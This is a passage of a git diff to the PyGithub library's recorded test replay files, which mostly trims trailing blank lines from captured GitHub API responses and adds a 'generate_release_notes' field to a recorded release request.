API","comments":0,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"comments_url":"https://api.github.com/gists/6296732/comments","forks":[],"history":[{"user":null,"version":"c464aecd7fea16684e935607eeea7ae4f8caa0e2","committed_at":"2013-08-21T16:12:27Z","change_status":{"total":793,"additions":793,"deletions":0},"url":"https://api.github.com/gists/6296732/c464aecd7fea16684e935607eeea7ae4f8caa0e2"}],"fork_of":{"url":"https://api.github.com/gists/6296553","forks_url":"https://api.github.com/gists/6296553/forks","commits_url":"https://api.github.com/gists/6296553/commits","id":"6296553","git_pull_url":"https://gist.github.com/6296553.git","git_push_url":"https://gist.github.com/6296553.git","html_url":"https://gist.github.com/6296553","files":{},"public":true,"created_at":"2013-08-21T16:12:27Z","updated_at":"2013-08-21T16:28:24Z","description":"Github API","comments":0,"user":{"login":"HyroVitalyProtago","id":3470988,"avatar_url":"https://1.gravatar.com/avatar/ed59562b231a649345f38703948f76f4?d=https%3A%2F%2Fidenticons.github.com%2F6582cb986b7a730b12f7c18dfcc865f0.png","gravatar_id":"ed59562b231a649345f38703948f76f4","url":"https://api.github.com/users/HyroVitalyProtago","html_url":"https://github.com/HyroVitalyProtago","followers_url":"https://api.github.com/users/HyroVitalyProtago/followers","following_url":"https://api.github.com/users/HyroVitalyProtago/following{/other_user}","gists_url":"https://api.github.com/users/HyroVitalyProtago/gists{/gist_id}","starred_url":"https://api.github.com/users/HyroVitalyProtago/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/HyroVitalyProtago/subscriptions","organizations_url":"https://api.github.com/users/HyroVitalyProtago/orgs","repos_url":"https://api.github.com/users/HyroVitalyProtago/repos","events_url":"https://api.github.com/users/HyroVitalyProtago/events{/privacy}","received_events_url":"https://api.github.com/users/HyroVitalyProtago/received_events","type":"User"},"comments_url":"https://api.github.com/gists/6296553/comments"}} - diff --git a/tests/ReplayData/Gist.testGetComments.txt b/tests/ReplayData/Gist.testGetComments.txt index 9fc68bd047..4a30274219 100644 --- a/tests/ReplayData/Gist.testGetComments.txt +++ b/tests/ReplayData/Gist.testGetComments.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4980'), ('content-length', '473'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ed0bedf32cc0d6f8dfe93e85ffa951cc"'), ('date', 'Sat, 19 May 2012 07:20:33 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-19T07:19:02Z","body":"Some random comment","url":"https://api.github.com/gists/comments/323637","created_at":"2012-05-19T07:19:02Z","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":323637}] - diff --git a/tests/ReplayData/Gist.testRenameFile.txt b/tests/ReplayData/Gist.testRenameFile.txt index 834877a2b4..0c28e0773a 100644 --- a/tests/ReplayData/Gist.testRenameFile.txt +++ b/tests/ReplayData/Gist.testRenameFile.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('content-length', '7854'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b77057899bafb1bca16a79dfe56427c3"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Mon, 08 Apr 2013 19:04:07 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/gists/5339374","forks_url":"https://api.github.com/gists/5339374/forks","commits_url":"https://api.github.com/gists/5339374/commits","id":"5339374","git_pull_url":"https://gist.github.com/5339374.git","git_push_url":"https://gist.github.com/5339374.git","html_url":"https://gist.github.com/5339374","files":{"baz.txt":{"filename":"baz.txt","type":"text/plain","language":null,"raw_url":"https://gist.github.com/raw/5339374/4821236b6b52e23dfbf8e39157d250f3461aa9c5/baz.txt","size":10,"content":"Bar -> baz"}},"public":true,"created_at":"2013-04-08T18:46:14Z","updated_at":"2013-04-08T19:04:07Z","description":"Test gist for PyGithub","comments":0,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"comments_url":"https://api.github.com/gists/5339374/comments","forks":[],"history":[{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"c670d47c5ffee49794a9793a513603fab578bc56","committed_at":"2013-04-08T19:04:07Z","change_status":{"total":2,"additions":1,"deletions":1},"url":"https://api.github.com/gists/5339374/c670d47c5ffee49794a9793a513603fab578bc56"},{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"54cc5cd4c452d1a91d8e6241cbffaf6bc59e1b20","committed_at":"2013-04-08T19:03:29Z","change_status":{"total":1,"additions":1,"deletions":0},"url":"https://api.github.com/gists/5339374/54cc5cd4c452d1a91d8e6241cbffaf6bc59e1b20"},{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"eb21edfa28bdc9437f2fa42d3e921242d7d72655","committed_at":"2013-04-08T19:01:51Z","change_status":{"total":1,"additions":0,"deletions":1},"url":"https://api.github.com/gists/5339374/eb21edfa28bdc9437f2fa42d3e921242d7d72655"},{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"3b66ad4cc07f2bebb2eae2b2f2eefba33d2fb2d5","committed_at":"2013-04-08T18:50:40Z","change_status":{"total":1,"additions":0,"deletions":1},"url":"https://api.github.com/gists/5339374/3b66ad4cc07f2bebb2eae2b2f2eefba33d2fb2d5"},{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"7887f7ac9eb5c1963004bdde3bcfe2221d9a0515","committed_at":"2013-04-08T18:46:14Z","change_status":{"total":2,"additions":2,"deletions":0},"url":"https://api.github.com/gists/5339374/7887f7ac9eb5c1963004bdde3bcfe2221d9a0515"}]} - diff --git a/tests/ReplayData/Gist.testStarring.txt b/tests/ReplayData/Gist.testStarring.txt index 5fe65eb4fc..cbb7c4baca 100644 --- a/tests/ReplayData/Gist.testStarring.txt +++ b/tests/ReplayData/Gist.testStarring.txt @@ -63,4 +63,3 @@ None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4971'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"99914b932bd37a50b983c5e7c90ae93b"'), ('date', 'Sat, 19 May 2012 07:22:31 GMT'), ('content-type', 'application/json; charset=utf-8')] {} - diff --git a/tests/ReplayData/GistComment.setUp.txt b/tests/ReplayData/GistComment.setUp.txt index fb7ff856f1..7a9e75bd57 100644 --- a/tests/ReplayData/GistComment.setUp.txt +++ b/tests/ReplayData/GistComment.setUp.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('content-length', '479'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4988'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"c2581153865c9b18a576589587e1fb98"'), ('date', 'Sat, 19 May 2012 07:12:31 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/gists/2729810/comments/323629","body":"Comment created by PyGithub","created_at":"2012-05-19T07:07:57Z","updated_at":"2012-05-19T07:07:57Z","id":323629,"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146}} - diff --git a/tests/ReplayData/GistComment.testDelete.txt b/tests/ReplayData/GistComment.testDelete.txt index a68067b6f9..29e5375f8e 100644 --- a/tests/ReplayData/GistComment.testDelete.txt +++ b/tests/ReplayData/GistComment.testDelete.txt @@ -7,5 +7,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4984'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 07:14:33 GMT')] - - diff --git a/tests/ReplayData/GistComment.testEdit.txt b/tests/ReplayData/GistComment.testEdit.txt index 43f5980e13..44d53a8766 100644 --- a/tests/ReplayData/GistComment.testEdit.txt +++ b/tests/ReplayData/GistComment.testEdit.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '478'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4987'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"cea8090368993f1fb95c32cdcf4245d3"'), ('date', 'Sat, 19 May 2012 07:12:32 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/gists/2729810/comments/323629","body":"Comment edited by PyGithub","created_at":"2012-05-19T07:07:57Z","updated_at":"2012-05-19T07:12:32Z","id":323629,"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146}} - diff --git a/tests/ReplayData/GitBlob.setUp.txt b/tests/ReplayData/GitBlob.setUp.txt index b775ed5c0d..11f59d875d 100644 --- a/tests/ReplayData/GitBlob.setUp.txt +++ b/tests/ReplayData/GitBlob.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '1987'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4b96ab346d46fbc2a409711500d54f42"'), ('date', 'Thu, 10 May 2012 19:05:16 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/53bce9fa919b4544e67275089b3ec5b44be20667","encoding":"base64","content":"IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgpmcm9tIGRpc3R1dGlscy5jb3JlIGlt\ncG9ydCBzZXR1cAppbXBvcnQgdGV4dHdyYXAKCnNldHVwKAogICAgbmFtZSA9\nICdQeUdpdGh1YicsCiAgICB2ZXJzaW9uID0gJzAuNicsCiAgICBkZXNjcmlw\ndGlvbiA9ICdVc2UgdGhlIGZ1bGwgR2l0aHViIEFQSSB2MycsCiAgICBhdXRo\nb3IgPSAnVmluY2VudCBKYWNxdWVzJywKICAgIGF1dGhvcl9lbWFpbCA9ICd2\naW5jZW50QHZpbmNlbnQtamFjcXVlcy5uZXQnLAogICAgdXJsID0gJ2h0dHA6\nLy92aW5jZW50LWphY3F1ZXMubmV0L1B5R2l0aHViJywKICAgIGxvbmdfZGVz\nY3JpcHRpb24gPSB0ZXh0d3JhcC5kZWRlbnQoICIiIlwKICAgICAgICBUdXRv\ncmlhbAogICAgICAgID09PT09PT09CgogICAgICAgIEZpcnN0IGNyZWF0ZSBh\nIEdpaHViIGluc3RhbmNlOjoKCiAgICAgICAgICAgIGZyb20gZ2l0aHViIGlt\ncG9ydCBHaXRodWIKCiAgICAgICAgICAgIGcgPSBHaXRodWIoICJ1c2VyIiwg\nInBhc3N3b3JkIiApCgogICAgICAgIFRoZW4gcGxheSB3aXRoIHlvdXIgR2l0\naHViIG9iamVjdHM6OgoKICAgICAgICAgICAgZm9yIHJlcG8gaW4gZy5nZXRf\ndXNlcigpLmdldF9yZXBvcygpOgogICAgICAgICAgICAgICAgcHJpbnQgcmVw\nby5uYW1lCiAgICAgICAgICAgICAgICByZXBvLmVkaXQoIGhhc193aWtpID0g\nRmFsc2UgKQoKICAgICAgICBSZWZlcmVuY2UgZG9jdW1lbnRhdGlvbgogICAg\nICAgID09PT09PT09PT09PT09PT09PT09PT09CgogICAgICAgIFNlZSBodHRw\nOi8vdmluY2VudC1qYWNxdWVzLm5ldC9QeUdpdGh1YiIiIiApLAogICAgcGFj\na2FnZXMgPSBbCiAgICAgICAgJ2dpdGh1YicsCiAgICAgICAgJ2dpdGh1Yi5H\naXRodWJPYmplY3RzJywKICAgICAgICAnZ2l0aHViLkdpdGh1Yk9iamVjdHMu\nR2l0aHViT2JqZWN0JywKICAgIF0sCiAgICBjbGFzc2lmaWVycz1bCiAgICAg\nICAgIkRldmVsb3BtZW50IFN0YXR1cyA6OiA0IC0gQmV0YSIsCiAgICAgICAg\nIkVudmlyb25tZW50IDo6IFdlYiBFbnZpcm9ubWVudCIsCiAgICAgICAgIklu\ndGVuZGVkIEF1ZGllbmNlIDo6IERldmVsb3BlcnMiLAogICAgICAgICJMaWNl\nbnNlIDo6IE9TSSBBcHByb3ZlZCA6OiBHTlUgTGlicmFyeSBvciBMZXNzZXIg\nR2VuZXJhbCBQdWJsaWMgTGljZW5zZSAoTEdQTCkiLAogICAgICAgICJPcGVy\nYXRpbmcgU3lzdGVtIDo6IE9TIEluZGVwZW5kZW50IiwKICAgICAgICAiUHJv\nZ3JhbW1pbmcgTGFuZ3VhZ2UgOjogUHl0aG9uIiwKICAgICAgICAiVG9waWMg\nOjogU29mdHdhcmUgRGV2ZWxvcG1lbnQiLAogICAgXSwKKQo=\n","size":1295,"sha":"53bce9fa919b4544e67275089b3ec5b44be20667"} - diff --git a/tests/ReplayData/GitCommit.setUp.txt b/tests/ReplayData/GitCommit.setUp.txt index 16b4d77f2c..5b769a5c40 100644 --- a/tests/ReplayData/GitCommit.setUp.txt +++ b/tests/ReplayData/GitCommit.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4966'), ('content-length', '910'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"eabd190c639b57d447ea6d3463da7aae"'), ('date', 'Thu, 10 May 2012 19:05:28 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/4303c5b90e2216d927155e9609436ccb8984c495","message":"Merge branch 'develop'\n","committer":{"email":"vincent@vincent-jacques.net","date":"2012-04-17T10:55:16-07:00","name":"Vincent Jacques"},"sha":"4303c5b90e2216d927155e9609436ccb8984c495","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/936f4a97f1a86392637ec002bbf89ff036a5062d","sha":"936f4a97f1a86392637ec002bbf89ff036a5062d"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/2a7e80e6421c5d4d201d60619068dea6bae612cb","sha":"2a7e80e6421c5d4d201d60619068dea6bae612cb"}],"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/f492784d8ca837779650d1fb406a1a3587a764ad","sha":"f492784d8ca837779650d1fb406a1a3587a764ad"},"author":{"email":"vincent@vincent-jacques.net","date":"2012-04-17T10:55:16-07:00","name":"Vincent Jacques"}} - diff --git a/tests/ReplayData/GitRef.setUp.txt b/tests/ReplayData/GitRef.setUp.txt index bd2136e6e6..353f697697 100644 --- a/tests/ReplayData/GitRef.setUp.txt +++ b/tests/ReplayData/GitRef.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '336'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ef55032f07a176e09c65b2ac524c2ecf"'), ('date', 'Thu, 10 May 2012 14:38:00 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/BranchCreatedByPyGithub","object":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","type":"commit","sha":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a"},"ref":"refs/heads/BranchCreatedByPyGithub"} - diff --git a/tests/ReplayData/GitRef.testDelete.txt b/tests/ReplayData/GitRef.testDelete.txt index ead5b2c4a8..b56477b956 100644 --- a/tests/ReplayData/GitRef.testDelete.txt +++ b/tests/ReplayData/GitRef.testDelete.txt @@ -7,5 +7,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4984'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Thu, 10 May 2012 18:49:22 GMT')] - - diff --git a/tests/ReplayData/GitRef.testEdit.txt b/tests/ReplayData/GitRef.testEdit.txt index ff432f17dd..4657ae1bc8 100644 --- a/tests/ReplayData/GitRef.testEdit.txt +++ b/tests/ReplayData/GitRef.testEdit.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ced480ad69948233f6520f7cd945eb34"'), ('date', 'Thu, 10 May 2012 18:49:20 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/BranchCreatedByPyGithub","object":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/04cde900a0775b51f762735637bd30de392a2793","type":"commit","sha":"04cde900a0775b51f762735637bd30de392a2793"},"ref":"refs/heads/BranchCreatedByPyGithub"} - diff --git a/tests/ReplayData/GitRef.testEditWithForce.txt b/tests/ReplayData/GitRef.testEditWithForce.txt index a1ef3b71c3..ee020ce990 100644 --- a/tests/ReplayData/GitRef.testEditWithForce.txt +++ b/tests/ReplayData/GitRef.testEditWithForce.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '322'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fb39f29de1defbab14def8a331d00c69"'), ('date', 'Thu, 10 May 2012 18:49:21 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/BranchCreatedByPyGithub","object":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/4303c5b90e2216d927155e9609436ccb8984c495","type":"commit","sha":"4303c5b90e2216d927155e9609436ccb8984c495"},"ref":"refs/heads/BranchCreatedByPyGithub"} - diff --git a/tests/ReplayData/GitRelease.setUp.txt b/tests/ReplayData/GitRelease.setUp.txt index ef12cf508f..c515aff88b 100644 --- a/tests/ReplayData/GitRelease.setUp.txt +++ b/tests/ReplayData/GitRelease.setUp.txt @@ -30,4 +30,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4735'), ('X-RateLimit-Reset', '1594749125'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0af43d7e5a11d1f3e8c6a83292de12c0"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:20 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '89D0:0D15:11BC1BF:1E1E9DD:5F0DE81D')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.0","id":28524234,"node_id":"MDc6UmVsZWFzZTI4NTI0MjM0","tag_name":"v1.0","target_commitish":"master","name":"Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T00:58:20Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.0","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.0","body":"Body"} - diff --git a/tests/ReplayData/GitRelease.testCreateGitTagAndRelease.txt b/tests/ReplayData/GitRelease.testCreateGitTagAndRelease.txt index 13912a29dc..105911c4c6 100644 --- a/tests/ReplayData/GitRelease.testCreateGitTagAndRelease.txt +++ b/tests/ReplayData/GitRelease.testCreateGitTagAndRelease.txt @@ -26,7 +26,7 @@ api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} -{"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} +{"tag_name": "v1.25.2", "name": "release title", "body": "release message", "draft": false, "prerelease": false, "generate_release_notes": false, "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:14:40 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), 